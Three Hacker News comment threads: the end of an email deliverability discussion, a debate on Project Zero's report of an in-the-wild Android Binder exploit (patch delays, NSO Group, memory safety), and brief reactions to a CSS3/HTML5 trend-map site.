"Report Spam" button. It should be 1 click, with links at the top and bottom
of the message. Do it in real-time, not in "24-72 hours." No logging in to
change communication preferences. Don't bury it in fine print or hide it with
CSS.
Invalid Addresses- Some email providers penalize (by slowing delivery) the
originating IP address every time that IP attempts to email an invalid
address. If your mailing list software then retries delivery to a bad address,
the penalty increases (exponentially with some providers). This can create
denial/degradation of service vulnerability for your outbound mail.
------
blablabla123
Just from the user perspective, frequently legit E-mail goes into my spam
folder. This happens with different major E-Mail providers. Although it's mail
I'm not interested in, it gets flagged as spam and I unflag it if I find the
time. But the point is, usually it's double-opted in mailings which is not
interesting to me at all and received in much to high frequency.
So if you are writing a system for that from scratch, consider decreasing
frequency for people who don't open the mail. So it passes through spam
filters, and maybe raises attention of readers, just for curiosity...
~~~
ghaff
A huge amount of not-really-spam goes to my Gmail spam folder. It's mostly
email I at least implicitly agreed to receive by dint of attending a webinar,
downloading a report, getting scanned at a conference, or even explicitly
signing for a newsletter at some point.
I know some people would rather none of this email existed, but it does and
it's how, in the real world, it's part of how customers are acquired and kept.
The legit mail of this type all has obvious unsubscribe links but I'm sure a
lot of people just flag it as spam instead and, over some threshold, it starts
to go to others' spam folders too.
------
npsomaratna
To add my two cents: my company had the same problem - despite checking all
the boxes ourselves.
When testing, something we noticed was that the content of our
emails/newsletters had a significant impact on whether they ended up in the
inbox vs. spam.
Of the major service providers, Outlook seems to put huge importance on the
content of the email. The simple addition or deletion of a couple of words can
dramatically affect spam rates.
Yahoo is less trigger-happy about content; and Gmail least of all. However,
even for domains with a good sender reputation, Gmail _will_ spam emails if
the content is too 'spammy'.
Shameless plug here: we ended up building a tool to test out various email
subjects/bodies against the big 3 providers above (you can even plug in your
own email address/service when testing). Do try it out - I'm sure you'll find
the results eye-opening:
[https://vetter.monsoonyeti.com/](https://vetter.monsoonyeti.com/)
------
stewfortier
It seems like you're doing many things right.
One over-looked trick: "warm up" the inbox you send from.
I.e. start sending mail at ever-increasing volumes until you've reached the
max capacity you need to send at.
If you Google "Sendgrid Warm Up Schedule", there should be a PDF with a send
schedule you can copy.
------
elorant
In my experience the better the picture(s) the higher the open rate. That is
why art related newsletters have the highest open rate numbers. I worked at an
art gallery once and we had a phenomenal 12% open rate for our emails which
were purely informative.
Other than that, you should consider the option of clearing your recipient
list every once a while. People who haven't opened a single email in a course
of a year (or less) should be removed.
One trick that some e-commerce sites do is to send different emails to users
depending on their purchasing history. Depending on your industry this may or
may not apply.
~~~
WA
I think you have some bias here. Of course, an art newsletter that says "look
at this picture" will have a higher open rate, because open rates usually are
measured through remote-loading images from a tracking server. In most other
emails, there is no need to load remote images. This doesn't tell you anything
about actual open rates.
------
jolmg
> Excluding unengaged subscribers who have not opened an email from us in the
> last XXX days
How would you know if they've opened it? For example, I never allow the
display of pictures (external ones, not included in the email itself via data
URIs) in my email client, nor anything else that might result in a ping to a
server. That's the default behavior of most email clients, isn't it?
~~~
kccqzy
I used to subscribe to the New Yorker. I do open their newsletters and I do
not have images enabled. One day they simply send me an email asking me
whether I'm still reading their newsletters, telling me they'll auto-
unsubscribe me unless I click a link inside the email within X days.
I find that this is an elegant solution that solves the problem completely; if
a user finds your emails valuable enough, they wouldn't hesitate to click a
link once every few months to reconfirm their subscription.
------
downerending
Please send and obey 'Precedence:' headers.
------
Lammy
What is the age of your domain registration?
| {
"pile_set_name": "HackerNews"
} |
Bad Binder: Android In-the-Wild Exploit - el_duderino
https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
======
Groxx
> _The Original Discovery of the Bug_
> _This bug was originally found and reported in November 2017 and patched in
> February 2018. Syzbot, a syzkaller system that continuously fuzzes the Linux
> kernel, originally reported the use-after-free bug to Linux kernel mailing
> lists and the syzkaller-bugs mailing list in November 2017. From this
> report, the bug was patched in the Linux 4.14, Android 3.18, Android 4.4,
> and Android 4.9 kernels in February 2018. However, this fix was never
> included in an Android monthly security bulletin and thus the bug was never
> patched in many already released devices, such as Pixel and Pixel 2._
Yea, that's a very large number of active devices, for a bug that's believed
to be actively exploited. Roughly 75% going by this:
[https://android.stackexchange.com/questions/51651/which-
andr...](https://android.stackexchange.com/questions/51651/which-android-runs-
which-linux-kernel) plus
[https://developer.android.com/about/dashboards](https://developer.android.com/about/dashboards)
~~~
bscphil
Even my currently supported device (Moto x4) is vulnerable because it hasn't
received the October 6 patch. It's more than halfway through November, and I'm
still on the October 1st patch. The vendor patching system is pretty terrible
with Android and ends up leaving many devices vulnerable to publicly known
exploits most of the time.
~~~
sigmar
You don't need this patched. moto x4 has had this patched since the release of
pie.
You can check for yourself at the source code here:
[https://github.com/MotorolaMobilityLLC/kernel-
msm/blob/MMI-P...](https://github.com/MotorolaMobilityLLC/kernel-msm/blob/MMI-
PPW29.69-26/drivers/android/binder.c)
Most devices already have the patch from the upstream kernel:
[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux...](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b)
~~~
bscphil
That's good news, thanks.
------
gundmc
P0 has gotten a lot of unwarranted flak on HN recently for allegedly only
disclosing vulnerabilities in competitors' systems.
This is a perfect counterexample of a really nasty privilege escalation in
Google's own OS.
~~~
LMYahooTFY
I'm interested in arguments as to how said flak could qualify as valid
criticism.
Security research is inherently adversarial in nature, and it seems fitting to
have competiting parties doing security research on one another's products.
Presumably, Android development involves some measure of security assessment?
If project zero never spent a day looking at Android, but all their
competitors did, I don't see the issue.
If there aren't any/enough competitors, that seems very unlikely to be a
security or security research related problem.
~~~
adrianmonk
> _Security research is inherently adversarial in nature_
Interesting. My perception is it's often based on bragging rights. Which is
more about ego than about an adversary. According to that theory, what matters
is how deeply you understand systems or how determined you are to go the extra
mile to find issues.
This extends to organizations which want to bolster their image by being at
the leading edge of research.
Anyway, having an adversary is part of the picture, but what you really care
about is not the victory over that adversary but your superiority on the
battlefield
~~~
panpanna
Please read "the security mindset" by Bruce Schneier:
[https://www.schneier.com/blog/archives/2008/03/the_security_...](https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html)
~~~
adrianmonk
Perhaps I was taking "adversarial" too literally, but to me it normally
suggests an antagonistic or hostile attitude toward the other side. For
example, if two next door neighbors don't get along and one of them reports
any little infraction to their homeowners' association, they are adversarial.
It's sort of the opposite of cooperative.
And this is not how I see the motivation and attitude of most security people.
For them it is mostly about the satisfaction of (or other inclination toward)
understanding how and where something might be vulnerable to exploit. It is a
particular type of thinking related to creativity, thinking outside the box,
and seeing things from a different perspective. (So basically what Schneier's
essay says. Which fits with my point.)
There is nothing sophisticated or clever about a neighbor calling the
homeowners' association. What they're interested in is the effect their
actions will have on their adversary. But a security researcher doesn't
usually care to actually exploit vulnerabilities. Or if they do, it is only to
prove that the vulnerability exists, not to gain from it.
So, getting back to the original point, I just don't follow the reasoning that
security researchers would prefer to avoid finding holes in their own
employer's systems. If they viewed everything as us vs. them, then yes, they
would want to take sides and protect their employer. Instead, I think that
because what they really care about is understanding vulnerabilities, they
would want to understand them wherever they see them, own employer's systems
included.
------
kdbg
Kind of relevant, a friend of mine posted his own writeup about exploiting
this bug earlier this month.
[https://dayzerosec.com/posts/analyzing-androids-
cve-2019-221...](https://dayzerosec.com/posts/analyzing-androids-
cve-2019-2215-dev-binder-uaf/)
------
wyldfire
"NSO" is referred to in the article, but it's never expanded or explained.
Apparently this is the "NSO Group" [1], a private company in Israel that sells
"Pegasus" [2] (also referred to in the article).
[1]
[https://en.wikipedia.org/wiki/NSO_Group](https://en.wikipedia.org/wiki/NSO_Group)
[2]
[https://en.wikipedia.org/wiki/Pegasus_(spyware)](https://en.wikipedia.org/wiki/Pegasus_\(spyware\))
~~~
tptacek
It's not an article so much as a P0 blog post. The list of terms of art in
this post that ordinary readers wouldn't grok is long indeed.
NSO is extraordinarily well known in the security field; they're one of the
best known (but almost certainly not the largest or most effective) purveyors
of mobile exploits and malware (to governments). For P0 (and Apple), NSO is
"the adversary".
~~~
rafaelm
OK, I'm going to have to ask: who are the largest and most effective?
~~~
PeterisP
Cellebrite is a popular supplier for mobile forensics, which may require using
vulnerabilities are not yet patched, i.e. finding or buying zerodays.
~~~
lawnchair_larry
Different market and different product. Cellebrite customers have the devices
in hand, and need to extract data for forensics. NSO customers compromise
phones remotely and silently in order to spy on what the owner is doing.
~~~
hunter2_
How does NSO and/or it's customers steer clear of CFAA violations? Are they
given some kind of perpetual amnesty?
Edit: Oh, they ran up against this just a few weeks ago according to their
Wikipedia article. How about that.
~~~
tptacek
In addition to the fact that they're not a US company, selling exploits
doesn't actually violate CFAA.
Google could potentially sue them under civil CFAA if there was some
unauthorized access to Google infrastructure needed to develop the exploits,
but that's unlikely to be the case.
_Using_ NSO tools against unwilling targets would violate US law, but that's
not what NSO does.
~~~
zigzaggy
According to recent articles I’ve read this may not be the case. Apparently at
least one organization has accused NSO of doing the unlawful accessing.
Standby while I look for a source.
~~~
tptacek
Yes, WhatsApp sued NSO under civil CFAA (among other things) for accessing
their infrastructure in the process of building and running their tools.
------
markstos
Interesting that Google's syzbot found and publicized the flaw, possibly
bringing it the awareness of bad actors. But at the time the flaw was not
flagged as being security related and was thus not backported as a security
patch.
If Google's syzbot had checked the kernel for the flaw before it was released
instead of after, that also seems like it would have prevented the issue from
going live in the first place.
Why does the Linux kernel project continue to release code with flaws like
this that can be found with automated tools?
~~~
outworlder
> Why does the Linux kernel project continue to release code with flaws like
> this that can be found with automated tools?
Because they have no other option, it's a fuzzer. Therefore, it may take a
long time(up to universe heat death) for it to finally exercise the path that
causes the issue. And the kernel has a pretty enormous footprint.
Fuzzers never really terminate, so it is not like you can plug it on a CI/CD
system and wait for reports.
> The process of reproducing one crash may take from a few minutes up to an
> hour depending on whether the crash is easily reproducible or non-
> reproducible at all.
That's for one known crash. But otherwise it will be running 24/7 (across
multiple VMs!) looking for issues.
More details here:
[https://github.com/google/syzkaller](https://github.com/google/syzkaller)
~~~
fulafel
Depending on what was meant by "like this", they do have the option of fixing
this class of bugs (memory safety vulns), using mature tried and tested
programming language practices and technology. It's a decades old debate
between the C enthusiasts and the correctness/security enthusiasts. (Same
problems and options are of course available Apple and Microsoft - it's not
just Linux)
~~~
saagarjha
What technology would you have suggested be used here to catch this
vulnerability early?
~~~
Thorrez
fulafel is not advocating catching the vulnerability, fulafel is advocating a
more secure design. One possibility is Rust.
~~~
fulafel
Well, Rust is not that mature, I agree today it would be an option worth
considering. But people have been writing ring-0 code in safe languages for
decades. And of course there are more dimensions to robust kernel design than
chocie of programming language.
------
ogre_codes
> Hunt for bugs based on rumors/leads that a 0-day is currently in use. We
> will use our bug hunting expertise to find and _patch the bug, rendering the
> exploit benign_.
This is probably the most fundamental issue with Android security. Google
patching the bug often doesn't render it benign. There are _still_ far too
many places in the Android update process where bugs can remain _malign as
hell_ on millions of devices even after Android itself has been patched and
the user keeps their device to the latest available version.
------
badrabbit
Why can't google/blogspot ever work well on mobile!? Google hides sites that
are not mobile friendly but they don't fix this? I bet it's their user-agent
detection where they serve you different content based on the mobile browser
you use (i.e.: if you don't use a popular browser, even if it uses webkit like
chrome you get crappy content)
~~~
fulafel
Works well in mobile Firefox for me.
~~~
badrabbit
My mobile browser is based on firefox and it doesn't for me. Which is my point
about UA detection.
------
TheCraiggers
> On October 3, 2019, we disclosed...
> We reported this bug under a 7-day disclosure deadline rather than the
> normal 90-day disclosure deadline. We made this decision based on credible
> evidence that an exploit for this vulnerability exists in the wild and that
> it's highly likely that the exploit was being actively used against users.
It's now nearly two _months_ since discovery of the bug and that it was being
exploited in the wild, and my still-in-support Pixel still doesn't have the
patch for this. What the hell Google. How is this even close to alright for a
CVE such as this? Totally unacceptable.
Give me my damn PinePhone already!
~~~
Jwarder
Are you sure your Pixel is vulnerable? Looks like the patch for Pixel 1 & 2
was released October 7th.
[https://source.android.com/security/bulletin/pixel/2019-10-0...](https://source.android.com/security/bulletin/pixel/2019-10-01)
| {
"pile_set_name": "HackerNews"
} |
Web Trend Map, built with CSS 3 & HTML 5 - slater
http://webtrendmap.com/
======
Hates_
What is it about CSS3 & HTML 5 that makes this impossible on "older" browsers?
Maybe I'm missing the point, but I'm not really seeing anything that couldn't
already be done cross most browsers?
------
ptn
Pretty slow.
~~~
eswat
Runs great for me on Chrome/XP. Everything else seems to be bogged down.
(including Safari on OSX)
~~~
yolo
Works perfectly on Safari and Firefox (OSX)
------
imok20
Works great for me on Safari 4.0.3 (on OS 10.6).
------
edw519
_Sorry, webtrendmap.com is only compatible with Firefox and Safari._
Too bad.
~~~
sunkencity
it's html 5.
------
mrfish
We need more explanation as to what new CSS and HTML elements you've used!
| {
"pile_set_name": "HackerNews"
} |
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